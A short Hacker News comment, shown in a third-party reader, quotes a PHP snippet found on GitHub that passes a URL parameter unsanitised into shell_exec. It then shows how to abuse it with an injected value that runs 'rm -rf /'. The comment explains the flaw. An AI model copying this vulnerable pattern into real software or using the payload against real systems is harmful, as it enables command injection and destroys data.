Comment

Comment by DanOWar

Example from the Github search:

     <?php
          $result=shell_exec("cat ".$_GET['name'].".txt");
          echo $result;
     ?>
How to abuse:

     $_GET['name'] = "/dev/null; rm -rf /; echo ";
parent DanOWar 12 years ago

Discussion

Live from the official Hacker News API

A modern reader for Hacker News · SvelteKit + Skeleton